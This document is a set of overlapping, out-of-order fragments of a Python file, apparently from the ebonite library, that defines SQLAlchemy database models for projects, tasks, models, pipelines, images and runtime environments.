"= Column(Text) metrics = Column(Text) evaluation_sets = Column(Text) __table_args__ = (UniqueConstraint('name', 'project_id', name='tasks_name_and_ref'),)",
"Project: p = Project(self.name, id=self.id, author=self.author, creation_date=self.creation_date) for task in self.tasks: p._tasks.add(task.to_obj()) return",
"image = Image(name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, task_id=self.task_id, params=safe_loads(self.params, Image.Params), source=safe_loads(self.source, Buildable), environment_id=self.environment_id) return",
"in project.tasks.values()]) class STask(Base, Attaching): __tablename__ = 'tasks' id = Column(Integer, primary_key=True, autoincrement=True)",
"Pipeline: pipeline = Pipeline(name=self.name, steps=safe_loads(self.steps, List[PipelineStep]), input_data=safe_loads(self.input_data, DatasetType), output_data=safe_loads(self.output_data, DatasetType), author=self.author, creation_date=self.creation_date, id=self.id,",
"'models' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=False, nullable=False) author =",
"from ebonite.core.objects import DatasetType from ebonite.core.objects.artifacts import ArtifactCollection from ebonite.core.objects.core import (Buildable, EvaluationResults,",
"-> RuntimeEnvironment: environment = RuntimeEnvironment( name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, params=safe_loads(self.params, RuntimeEnvironment.Params)) return self.attach(environment)",
"DateTime, ForeignKey, Integer, String, Text, UniqueConstraint from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import",
"task: Task) -> dict: return dict(id=task.id, name=task.name, author=task.author, creation_date=task.creation_date, project_id=task.project_id, models=[SModel.from_obj(m) for m",
"unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) tasks: Iterable['STask'] = relationship(\"STask\", back_populates=\"project\") def",
"Iterable['SImage'] = relationship(\"SImage\", back_populates='task') datasets = Column(Text) metrics = Column(Text) evaluation_sets = Column(Text)",
"obj: T) -> dict: pass # pragma: no cover @abstractmethod def to_obj(self) ->",
"EvaluationResults)) return self.attach(pipeline) @classmethod def get_kwargs(cls, pipeline: Pipeline) -> dict: return dict(id=pipeline.id, name=pipeline.name,",
"RuntimeInstance.Params)) return self.attach(instance) @classmethod def get_kwargs(cls, instance: RuntimeInstance) -> dict: return dict(id=instance.id, name=instance.name,",
"Column(Integer, ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\", back_populates=\"models\") evaluations = Column(Text) __table_args__ = (UniqueConstraint('name',",
"Column(Text) requirements = Column(Text) description = Column(Text) params = Column(Text) task_id = Column(Integer,",
"Column(Text) params = Column(Text) task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\", back_populates=\"models\")",
"= Column(Text) __table_args__ = (UniqueConstraint('name', 'project_id', name='tasks_name_and_ref'),) def to_obj(self) -> Task: task =",
"@classmethod def get_kwargs(cls, project: Project) -> dict: return dict(id=project.id, name=project.name, author=project.author, creation_date=project.creation_date, tasks=[STask.from_obj(t)",
"Requirements), description=self.description, params=safe_loads(self.params, Dict[str, Any]), id=self.id, task_id=self.task_id, evaluations=safe_loads(self.evaluations, Dict[str, EvaluationResults])) return self.attach(model) @classmethod",
"(UniqueConstraint('name', 'task_id', name='image_name_and_ref'),) def to_obj(self) -> Image: image = Image(name=self.name, author=self.author, creation_date=self.creation_date, id=self.id,",
"def to_obj(self) -> Image: image = Image(name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, task_id=self.task_id, params=safe_loads(self.params, Image.Params),",
"= Column(Integer, ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\", back_populates=\"pipelines\") evaluations = Column(Text) __table_args__ =",
"unique=False, nullable=False) image_id = Column(Integer, ForeignKey('images.id'), nullable=False) environment_id = Column(Integer, ForeignKey('environments.id'), nullable=False) params",
"'tasks' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=False, nullable=False) author =",
"name='instance_name_and_ref'),) def to_obj(self) -> RuntimeInstance: instance = RuntimeInstance( name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, image_id=self.image_id,",
"def update_attrs(obj, **attrs): for name, value in attrs.items(): setattr(obj, name, value) T =",
"Column(Integer, ForeignKey('images.id'), nullable=False) environment_id = Column(Integer, ForeignKey('environments.id'), nullable=False) params = Column(Text) __table_args__ =",
"None) def update_attrs(obj, **attrs): for name, value in attrs.items(): setattr(obj, name, value) T",
"nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) tasks: Iterable['STask'] = relationship(\"STask\", back_populates=\"project\") def to_obj(self)",
"= Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) params = Column(Text) def",
"models: Iterable['SModel'] = relationship(\"SModel\", back_populates=\"task\") pipelines: Iterable['SPipeline'] = relationship(\"SPipeline\", back_populates='task') images: Iterable['SImage'] =",
"declarative_base from sqlalchemy.orm import relationship from ebonite.core.objects import DatasetType from ebonite.core.objects.artifacts import ArtifactCollection",
"creation_date=pipeline.creation_date, steps=dumps(pipeline.steps), input_data=dumps(pipeline.input_data), output_data=dumps(pipeline.output_data), task_id=pipeline.task_id, evaluations=dumps(pipeline.evaluations)) class SImage(Base, Attaching): __tablename__ = 'images' id",
"task = Task(id=self.id, name=self.name, author=self.author, creation_date=self.creation_date, project_id=self.project_id, datasets=safe_loads(self.datasets, Dict[str, DatasetSource]), metrics=safe_loads(self.metrics, Dict[str, Metric]),",
"author=pipeline.author, creation_date=pipeline.creation_date, steps=dumps(pipeline.steps), input_data=dumps(pipeline.input_data), output_data=dumps(pipeline.output_data), task_id=pipeline.task_id, evaluations=dumps(pipeline.evaluations)) class SImage(Base, Attaching): __tablename__ = 'images'",
"__table_args__ = (UniqueConstraint('name', 'task_id', name='image_name_and_ref'),) def to_obj(self) -> Image: image = Image(name=self.name, author=self.author,",
"String, Text, UniqueConstraint from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import relationship from ebonite.core.objects",
"return self.attach(image) @classmethod def get_kwargs(cls, image: Image) -> dict: return dict(id=image.id, name=image.name, author=image.author,",
"not None: update_attrs(existing, **kwargs) return existing return cls(**kwargs) @classmethod @abstractmethod def get_kwargs(cls, obj:",
"nullable=False) author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) params =",
"setattr(obj, name, value) T = TypeVar('T') S = TypeVar('S', bound='Attaching') class Attaching: id",
"creation_date=project.creation_date, tasks=[STask.from_obj(t) for t in project.tasks.values()]) class STask(Base, Attaching): __tablename__ = 'tasks' id",
"EvaluationResults])) return self.attach(model) @classmethod def get_kwargs(cls, model: Model) -> dict: return dict(id=model.id, name=model.name,",
"description=model.description, params=dumps(model.params), task_id=model.task_id, evaluations=dumps(model.evaluations)) class SPipeline(Base, Attaching): __tablename__ = 'pipelines' id = Column(Integer,",
"model in self.models: task._models.add(model.to_obj()) for pipeline in self.pipelines: task._pipelines.add(pipeline.to_obj()) for image in self.images:",
"**kwargs) return existing return cls(**kwargs) @classmethod @abstractmethod def get_kwargs(cls, obj: T) -> dict:",
"get_kwargs(cls, model: Model) -> dict: return dict(id=model.id, name=model.name, author=model.author, creation_date=model.creation_date, wrapper=dumps(model.wrapper_meta), artifact=dumps(model.artifact), requirements=dumps(model.requirements),",
"steps=safe_loads(self.steps, List[PipelineStep]), input_data=safe_loads(self.input_data, DatasetType), output_data=safe_loads(self.output_data, DatasetType), author=self.author, creation_date=self.creation_date, id=self.id, task_id=self.task_id, evaluations=safe_loads(self.evaluations, EvaluationResults)) return",
"nullable=False) environment_id = Column(Integer, ForeignKey('environments.id'), nullable=False) params = Column(Text) __table_args__ = (UniqueConstraint('name', 'image_id',",
"abc import abstractmethod from typing import Any, Dict, Iterable, List, Optional, Type, TypeVar",
"dumps, loads from sqlalchemy import Column, DateTime, ForeignKey, Integer, String, Text, UniqueConstraint from",
"relationship from ebonite.core.objects import DatasetType from ebonite.core.objects.artifacts import ArtifactCollection from ebonite.core.objects.core import (Buildable,",
"author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) wrapper = Column(Text)",
"DatasetType), output_data=safe_loads(self.output_data, DatasetType), author=self.author, creation_date=self.creation_date, id=self.id, task_id=self.task_id, evaluations=safe_loads(self.evaluations, EvaluationResults)) return self.attach(pipeline) @classmethod def",
"task_id=self.task_id, params=safe_loads(self.params, Image.Params), source=safe_loads(self.source, Buildable), environment_id=self.environment_id) return self.attach(image) @classmethod def get_kwargs(cls, image: Image)",
"name = ... def attach(self, obj): setattr(obj, SQL_OBJECT_FIELD, self) return obj @classmethod def",
"back_populates='task') datasets = Column(Text) metrics = Column(Text) evaluation_sets = Column(Text) __table_args__ = (UniqueConstraint('name',",
"= 'images' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=False, nullable=False) author",
"author=image.author, creation_date=image.creation_date, task_id=image.task_id, params=dumps(image.params), source=dumps(image.source), environment_id=image.environment_id) class SRuntimeEnvironment(Base, Attaching): __tablename__ = 'environments' id",
"T, new=False) -> S: kwargs = cls.get_kwargs(obj) existing = sqlobject(obj) if not new",
"nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False) task =",
"existing is not None: update_attrs(existing, **kwargs) return existing return cls(**kwargs) @classmethod @abstractmethod def",
"id = ... name = ... def attach(self, obj): setattr(obj, SQL_OBJECT_FIELD, self) return",
"update_attrs(existing, **kwargs) return existing return cls(**kwargs) @classmethod @abstractmethod def get_kwargs(cls, obj: T) ->",
"Base = declarative_base() class SProject(Base, Attaching): __tablename__ = 'projects' id = Column(Integer, primary_key=True,",
"Task: task = Task(id=self.id, name=self.name, author=self.author, creation_date=self.creation_date, project_id=self.project_id, datasets=safe_loads(self.datasets, Dict[str, DatasetSource]), metrics=safe_loads(self.metrics, Dict[str,",
"author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) task_id = Column(Integer,",
"= 'environments' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=True, nullable=False) author",
"dict(id=project.id, name=project.name, author=project.author, creation_date=project.creation_date, tasks=[STask.from_obj(t) for t in project.tasks.values()]) class STask(Base, Attaching): __tablename__",
"Column(DateTime, unique=False, nullable=False) wrapper = Column(Text) artifact = Column(Text) requirements = Column(Text) description",
"__tablename__ = 'tasks' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=False, nullable=False)",
"task.models.values()], images=[SImage.from_obj(i) for i in task.images.values()], pipelines=[SPipeline.from_obj(p) for p in task.pipelines.values()], datasets=dumps(task.datasets), metrics=dumps(task.metrics),",
"output_data=safe_loads(self.output_data, DatasetType), author=self.author, creation_date=self.creation_date, id=self.id, task_id=self.task_id, evaluations=safe_loads(self.evaluations, EvaluationResults)) return self.attach(pipeline) @classmethod def get_kwargs(cls,",
"name='tasks_name_and_ref'),) def to_obj(self) -> Task: task = Task(id=self.id, name=self.name, author=self.author, creation_date=self.creation_date, project_id=self.project_id, datasets=safe_loads(self.datasets,",
"images: Iterable['SImage'] = relationship(\"SImage\", back_populates='task') datasets = Column(Text) metrics = Column(Text) evaluation_sets =",
"(UniqueConstraint('name', 'image_id', 'environment_id', name='instance_name_and_ref'),) def to_obj(self) -> RuntimeInstance: instance = RuntimeInstance( name=self.name, author=self.author,",
"to_obj(self) -> RuntimeEnvironment: environment = RuntimeEnvironment( name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, params=safe_loads(self.params, RuntimeEnvironment.Params)) return",
"from ebonite.core.objects.artifacts import ArtifactCollection from ebonite.core.objects.core import (Buildable, EvaluationResults, EvaluationSet, Image, Model, Pipeline,",
"nullable=False) author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) steps =",
"return dict(id=environment.id, name=environment.name, author=environment.author, creation_date=environment.creation_date, params=dumps(environment.params)) class SRuntimeInstance(Base, Attaching): __tablename__ = 'instances' id",
"unique=False, nullable=False) task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\", back_populates=\"images\") environment_id =",
"params=dumps(image.params), source=dumps(image.source), environment_id=image.environment_id) class SRuntimeEnvironment(Base, Attaching): __tablename__ = 'environments' id = Column(Integer, primary_key=True,",
"nullable=False) task = relationship(\"STask\", back_populates=\"images\") environment_id = Column(Integer, ForeignKey('environments.id'), nullable=False) params = Column(Text)",
"sqlobject(obj): return getattr(obj, SQL_OBJECT_FIELD, None) def update_attrs(obj, **attrs): for name, value in attrs.items():",
"nullable=False) author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) project_id =",
"= Column(Text) params = Column(Text) task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\",",
"= Column(DateTime, unique=False, nullable=False) project_id = Column(Integer, ForeignKey('projects.id'), nullable=False) project = relationship(\"SProject\", back_populates=\"tasks\")",
"name='pipelines_name_and_ref'),) def to_obj(self) -> Pipeline: pipeline = Pipeline(name=self.name, steps=safe_loads(self.steps, List[PipelineStep]), input_data=safe_loads(self.input_data, DatasetType), output_data=safe_loads(self.output_data,",
"back_populates=\"images\") environment_id = Column(Integer, ForeignKey('environments.id'), nullable=False) params = Column(Text) source = Column(Text) __table_args__",
"unique=False, nullable=False) author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) task_id",
"__tablename__ = 'models' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=False, nullable=False)",
"= Column(Text) evaluation_sets = Column(Text) __table_args__ = (UniqueConstraint('name', 'project_id', name='tasks_name_and_ref'),) def to_obj(self) ->",
"Image, Model, Pipeline, PipelineStep, Project, RuntimeEnvironment, RuntimeInstance, Task) from ebonite.core.objects.dataset_source import DatasetSource from",
"__tablename__ = 'instances' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=False, nullable=False)",
"Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) steps = Column(Text) input_data =",
"name='models_name_and_ref'),) def to_obj(self) -> Model: model = Model(name=self.name, wrapper_meta=safe_loads(self.wrapper, dict), author=self.author, creation_date=self.creation_date, artifact=safe_loads(self.artifact,",
"Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id', name='image_name_and_ref'),) def to_obj(self) -> Image: image = Image(name=self.name,",
"STask(Base, Attaching): __tablename__ = 'tasks' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String,",
"EvaluationSet, Image, Model, Pipeline, PipelineStep, Project, RuntimeEnvironment, RuntimeInstance, Task) from ebonite.core.objects.dataset_source import DatasetSource",
"requirements=dumps(model.requirements), description=model.description, params=dumps(model.params), task_id=model.task_id, evaluations=dumps(model.evaluations)) class SPipeline(Base, Attaching): __tablename__ = 'pipelines' id =",
"return self.attach(pipeline) @classmethod def get_kwargs(cls, pipeline: Pipeline) -> dict: return dict(id=pipeline.id, name=pipeline.name, author=pipeline.author,",
"t in project.tasks.values()]) class STask(Base, Attaching): __tablename__ = 'tasks' id = Column(Integer, primary_key=True,",
"pipeline: Pipeline) -> dict: return dict(id=pipeline.id, name=pipeline.name, author=pipeline.author, creation_date=pipeline.creation_date, steps=dumps(pipeline.steps), input_data=dumps(pipeline.input_data), output_data=dumps(pipeline.output_data), task_id=pipeline.task_id,",
"def get_kwargs(cls, task: Task) -> dict: return dict(id=task.id, name=task.name, author=task.author, creation_date=task.creation_date, project_id=task.project_id, models=[SModel.from_obj(m)",
"PipelineStep, Project, RuntimeEnvironment, RuntimeInstance, Task) from ebonite.core.objects.dataset_source import DatasetSource from ebonite.core.objects.metric import Metric",
"-> dict: return dict(id=project.id, name=project.name, author=project.author, creation_date=project.creation_date, tasks=[STask.from_obj(t) for t in project.tasks.values()]) class",
"= TypeVar('S', bound='Attaching') class Attaching: id = ... name = ... def attach(self,",
"dict(id=image.id, name=image.name, author=image.author, creation_date=image.creation_date, task_id=image.task_id, params=dumps(image.params), source=dumps(image.source), environment_id=image.environment_id) class SRuntimeEnvironment(Base, Attaching): __tablename__ =",
"environment_id = Column(Integer, ForeignKey('environments.id'), nullable=False) params = Column(Text) __table_args__ = (UniqueConstraint('name', 'image_id', 'environment_id',",
"creation_date = Column(DateTime, unique=False, nullable=False) params = Column(Text) def to_obj(self) -> RuntimeEnvironment: environment",
"id=self.id, task_id=self.task_id, evaluations=safe_loads(self.evaluations, EvaluationResults)) return self.attach(pipeline) @classmethod def get_kwargs(cls, pipeline: Pipeline) -> dict:",
"setattr(obj, SQL_OBJECT_FIELD, self) return obj @classmethod def from_obj(cls: Type[S], obj: T, new=False) ->",
"= sqlobject(obj) if not new and existing is not None: update_attrs(existing, **kwargs) return",
"def json_column(): return Column(Text) def safe_loads(payload, as_class): return loads(payload, Optional[as_class]) def sqlobject(obj): return",
"name=task.name, author=task.author, creation_date=task.creation_date, project_id=task.project_id, models=[SModel.from_obj(m) for m in task.models.values()], images=[SImage.from_obj(i) for i in",
"nullable=False) project = relationship(\"SProject\", back_populates=\"tasks\") models: Iterable['SModel'] = relationship(\"SModel\", back_populates=\"task\") pipelines: Iterable['SPipeline'] =",
"return dict(id=model.id, name=model.name, author=model.author, creation_date=model.creation_date, wrapper=dumps(model.wrapper_meta), artifact=dumps(model.artifact), requirements=dumps(model.requirements), description=model.description, params=dumps(model.params), task_id=model.task_id, evaluations=dumps(model.evaluations)) class",
"**attrs): for name, value in attrs.items(): setattr(obj, name, value) T = TypeVar('T') S",
"= (UniqueConstraint('name', 'task_id', name='pipelines_name_and_ref'),) def to_obj(self) -> Pipeline: pipeline = Pipeline(name=self.name, steps=safe_loads(self.steps, List[PipelineStep]),",
"unique=False, nullable=False) params = Column(Text) def to_obj(self) -> RuntimeEnvironment: environment = RuntimeEnvironment( name=self.name,",
"return existing return cls(**kwargs) @classmethod @abstractmethod def get_kwargs(cls, obj: T) -> dict: pass",
"EvaluationResults, EvaluationSet, Image, Model, Pipeline, PipelineStep, Project, RuntimeEnvironment, RuntimeInstance, Task) from ebonite.core.objects.dataset_source import",
"params=safe_loads(self.params, Image.Params), source=safe_loads(self.source, Buildable), environment_id=self.environment_id) return self.attach(image) @classmethod def get_kwargs(cls, image: Image) ->",
"source = Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id', name='image_name_and_ref'),) def to_obj(self) -> Image: image",
"def to_obj(self) -> RuntimeInstance: instance = RuntimeInstance( name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, image_id=self.image_id, environment_id=self.environment_id,",
"cls.get_kwargs(obj) existing = sqlobject(obj) if not new and existing is not None: update_attrs(existing,",
"image in self.images: task._images.add(image.to_obj()) return self.attach(task) @classmethod def get_kwargs(cls, task: Task) -> dict:",
"Image) -> dict: return dict(id=image.id, name=image.name, author=image.author, creation_date=image.creation_date, task_id=image.task_id, params=dumps(image.params), source=dumps(image.source), environment_id=image.environment_id) class",
"params=safe_loads(self.params, RuntimeEnvironment.Params)) return self.attach(environment) @classmethod def get_kwargs(cls, environment: RuntimeEnvironment) -> dict: return dict(id=environment.id,",
"DatasetSource from ebonite.core.objects.metric import Metric from ebonite.core.objects.requirements import Requirements SQL_OBJECT_FIELD = '_sqlalchemy_object' def",
"-> Pipeline: pipeline = Pipeline(name=self.name, steps=safe_loads(self.steps, List[PipelineStep]), input_data=safe_loads(self.input_data, DatasetType), output_data=safe_loads(self.output_data, DatasetType), author=self.author, creation_date=self.creation_date,",
"Pipeline) -> dict: return dict(id=pipeline.id, name=pipeline.name, author=pipeline.author, creation_date=pipeline.creation_date, steps=dumps(pipeline.steps), input_data=dumps(pipeline.input_data), output_data=dumps(pipeline.output_data), task_id=pipeline.task_id, evaluations=dumps(pipeline.evaluations))",
"SQL_OBJECT_FIELD = '_sqlalchemy_object' def json_column(): return Column(Text) def safe_loads(payload, as_class): return loads(payload, Optional[as_class])",
"= Column(Text) requirements = Column(Text) description = Column(Text) params = Column(Text) task_id =",
"-> Model: model = Model(name=self.name, wrapper_meta=safe_loads(self.wrapper, dict), author=self.author, creation_date=self.creation_date, artifact=safe_loads(self.artifact, ArtifactCollection), requirements=safe_loads(self.requirements, Requirements),",
"ebonite.core.objects.metric import Metric from ebonite.core.objects.requirements import Requirements SQL_OBJECT_FIELD = '_sqlalchemy_object' def json_column(): return",
"= Column(Text) task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\", back_populates=\"models\") evaluations =",
"wrapper = Column(Text) artifact = Column(Text) requirements = Column(Text) description = Column(Text) params",
"in attrs.items(): setattr(obj, name, value) T = TypeVar('T') S = TypeVar('S', bound='Attaching') class",
"creation_date=self.creation_date, id=self.id, params=safe_loads(self.params, RuntimeEnvironment.Params)) return self.attach(environment) @classmethod def get_kwargs(cls, environment: RuntimeEnvironment) -> dict:",
"params = Column(Text) def to_obj(self) -> RuntimeEnvironment: environment = RuntimeEnvironment( name=self.name, author=self.author, creation_date=self.creation_date,",
"metrics=safe_loads(self.metrics, Dict[str, Metric]), evaluation_sets=safe_loads(self.evaluation_sets, Dict[str, EvaluationSet])) for model in self.models: task._models.add(model.to_obj()) for pipeline",
"'environment_id', name='instance_name_and_ref'),) def to_obj(self) -> RuntimeInstance: instance = RuntimeInstance( name=self.name, author=self.author, creation_date=self.creation_date, id=self.id,",
"p._tasks.add(task.to_obj()) return self.attach(p) @classmethod def get_kwargs(cls, project: Project) -> dict: return dict(id=project.id, name=project.name,",
"-> dict: return dict(id=environment.id, name=environment.name, author=environment.author, creation_date=environment.creation_date, params=dumps(environment.params)) class SRuntimeInstance(Base, Attaching): __tablename__ =",
"= Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=True, nullable=False) author = Column(String, unique=False,",
"import abstractmethod from typing import Any, Dict, Iterable, List, Optional, Type, TypeVar from",
"creation_date = Column(DateTime, unique=False, nullable=False) steps = Column(Text) input_data = Column(Text) output_data =",
"relationship(\"SModel\", back_populates=\"task\") pipelines: Iterable['SPipeline'] = relationship(\"SPipeline\", back_populates='task') images: Iterable['SImage'] = relationship(\"SImage\", back_populates='task') datasets",
"unique=False, nullable=False) author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) image_id",
"environment_id=image.environment_id) class SRuntimeEnvironment(Base, Attaching): __tablename__ = 'environments' id = Column(Integer, primary_key=True, autoincrement=True) name",
"bound='Attaching') class Attaching: id = ... name = ... def attach(self, obj): setattr(obj,",
"'image_id', 'environment_id', name='instance_name_and_ref'),) def to_obj(self) -> RuntimeInstance: instance = RuntimeInstance( name=self.name, author=self.author, creation_date=self.creation_date,",
"Requirements SQL_OBJECT_FIELD = '_sqlalchemy_object' def json_column(): return Column(Text) def safe_loads(payload, as_class): return loads(payload,",
"= Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) wrapper = Column(Text) artifact",
"= Column(Text) __table_args__ = (UniqueConstraint('name', 'image_id', 'environment_id', name='instance_name_and_ref'),) def to_obj(self) -> RuntimeInstance: instance",
"images=[SImage.from_obj(i) for i in task.images.values()], pipelines=[SPipeline.from_obj(p) for p in task.pipelines.values()], datasets=dumps(task.datasets), metrics=dumps(task.metrics), evaluation_sets=dumps(task.evaluation_sets))",
"= Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) task_id = Column(Integer, ForeignKey('tasks.id'),",
"nullable=False) task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\", back_populates=\"images\") environment_id = Column(Integer,",
"autoincrement=True) name = Column(String, unique=True, nullable=False) author = Column(String, unique=False, nullable=False) creation_date =",
"RuntimeEnvironment.Params)) return self.attach(environment) @classmethod def get_kwargs(cls, environment: RuntimeEnvironment) -> dict: return dict(id=environment.id, name=environment.name,",
"Attaching): __tablename__ = 'images' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=False,",
"= '_sqlalchemy_object' def json_column(): return Column(Text) def safe_loads(payload, as_class): return loads(payload, Optional[as_class]) def",
"@classmethod @abstractmethod def get_kwargs(cls, obj: T) -> dict: pass # pragma: no cover",
"dict(id=pipeline.id, name=pipeline.name, author=pipeline.author, creation_date=pipeline.creation_date, steps=dumps(pipeline.steps), input_data=dumps(pipeline.input_data), output_data=dumps(pipeline.output_data), task_id=pipeline.task_id, evaluations=dumps(pipeline.evaluations)) class SImage(Base, Attaching): __tablename__",
"unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) project_id = Column(Integer, ForeignKey('projects.id'), nullable=False) project",
"Column(Text) task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\", back_populates=\"models\") evaluations = Column(Text)",
"cls(**kwargs) @classmethod @abstractmethod def get_kwargs(cls, obj: T) -> dict: pass # pragma: no",
"to_obj(self) -> Task: task = Task(id=self.id, name=self.name, author=self.author, creation_date=self.creation_date, project_id=self.project_id, datasets=safe_loads(self.datasets, Dict[str, DatasetSource]),",
"def get_kwargs(cls, model: Model) -> dict: return dict(id=model.id, name=model.name, author=model.author, creation_date=model.creation_date, wrapper=dumps(model.wrapper_meta), artifact=dumps(model.artifact),",
"__table_args__ = (UniqueConstraint('name', 'image_id', 'environment_id', name='instance_name_and_ref'),) def to_obj(self) -> RuntimeInstance: instance = RuntimeInstance(",
"RuntimeEnvironment: environment = RuntimeEnvironment( name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, params=safe_loads(self.params, RuntimeEnvironment.Params)) return self.attach(environment) @classmethod",
"id=self.id, params=safe_loads(self.params, RuntimeEnvironment.Params)) return self.attach(environment) @classmethod def get_kwargs(cls, environment: RuntimeEnvironment) -> dict: return",
"Column(Text) def safe_loads(payload, as_class): return loads(payload, Optional[as_class]) def sqlobject(obj): return getattr(obj, SQL_OBJECT_FIELD, None)",
"class SRuntimeInstance(Base, Attaching): __tablename__ = 'instances' id = Column(Integer, primary_key=True, autoincrement=True) name =",
"__tablename__ = 'images' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=False, nullable=False)",
"Column(String, unique=True, nullable=False) author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False)",
"import Requirements SQL_OBJECT_FIELD = '_sqlalchemy_object' def json_column(): return Column(Text) def safe_loads(payload, as_class): return",
"pipeline in self.pipelines: task._pipelines.add(pipeline.to_obj()) for image in self.images: task._images.add(image.to_obj()) return self.attach(task) @classmethod def",
"Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) project_id = Column(Integer, ForeignKey('projects.id'), nullable=False)",
"__table_args__ = (UniqueConstraint('name', 'task_id', name='pipelines_name_and_ref'),) def to_obj(self) -> Pipeline: pipeline = Pipeline(name=self.name, steps=safe_loads(self.steps,",
"SModel(Base, Attaching): __tablename__ = 'models' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String,",
"source=safe_loads(self.source, Buildable), environment_id=self.environment_id) return self.attach(image) @classmethod def get_kwargs(cls, image: Image) -> dict: return",
"sqlalchemy.orm import relationship from ebonite.core.objects import DatasetType from ebonite.core.objects.artifacts import ArtifactCollection from ebonite.core.objects.core",
"= Column(Text) artifact = Column(Text) requirements = Column(Text) description = Column(Text) params =",
"params = Column(Text) __table_args__ = (UniqueConstraint('name', 'image_id', 'environment_id', name='instance_name_and_ref'),) def to_obj(self) -> RuntimeInstance:",
"import (Buildable, EvaluationResults, EvaluationSet, Image, Model, Pipeline, PipelineStep, Project, RuntimeEnvironment, RuntimeInstance, Task) from",
"ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\", back_populates=\"pipelines\") evaluations = Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id',",
"= (UniqueConstraint('name', 'task_id', name='image_name_and_ref'),) def to_obj(self) -> Image: image = Image(name=self.name, author=self.author, creation_date=self.creation_date,",
"= Column(Integer, ForeignKey('environments.id'), nullable=False) params = Column(Text) __table_args__ = (UniqueConstraint('name', 'image_id', 'environment_id', name='instance_name_and_ref'),)",
"obj: T, new=False) -> S: kwargs = cls.get_kwargs(obj) existing = sqlobject(obj) if not",
"p = Project(self.name, id=self.id, author=self.author, creation_date=self.creation_date) for task in self.tasks: p._tasks.add(task.to_obj()) return self.attach(p)",
"as_class): return loads(payload, Optional[as_class]) def sqlobject(obj): return getattr(obj, SQL_OBJECT_FIELD, None) def update_attrs(obj, **attrs):",
"= (UniqueConstraint('name', 'task_id', name='models_name_and_ref'),) def to_obj(self) -> Model: model = Model(name=self.name, wrapper_meta=safe_loads(self.wrapper, dict),",
"from ebonite.core.objects.dataset_source import DatasetSource from ebonite.core.objects.metric import Metric from ebonite.core.objects.requirements import Requirements SQL_OBJECT_FIELD",
"name, value in attrs.items(): setattr(obj, name, value) T = TypeVar('T') S = TypeVar('S',",
"= relationship(\"SImage\", back_populates='task') datasets = Column(Text) metrics = Column(Text) evaluation_sets = Column(Text) __table_args__",
"Any]), id=self.id, task_id=self.task_id, evaluations=safe_loads(self.evaluations, Dict[str, EvaluationResults])) return self.attach(model) @classmethod def get_kwargs(cls, model: Model)",
"'instances' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=False, nullable=False) author =",
"relationship(\"STask\", back_populates=\"pipelines\") evaluations = Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id', name='pipelines_name_and_ref'),) def to_obj(self) ->",
"RuntimeEnvironment) -> dict: return dict(id=environment.id, name=environment.name, author=environment.author, creation_date=environment.creation_date, params=dumps(environment.params)) class SRuntimeInstance(Base, Attaching): __tablename__",
"Integer, String, Text, UniqueConstraint from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import relationship from",
"def attach(self, obj): setattr(obj, SQL_OBJECT_FIELD, self) return obj @classmethod def from_obj(cls: Type[S], obj:",
"back_populates='task') images: Iterable['SImage'] = relationship(\"SImage\", back_populates='task') datasets = Column(Text) metrics = Column(Text) evaluation_sets",
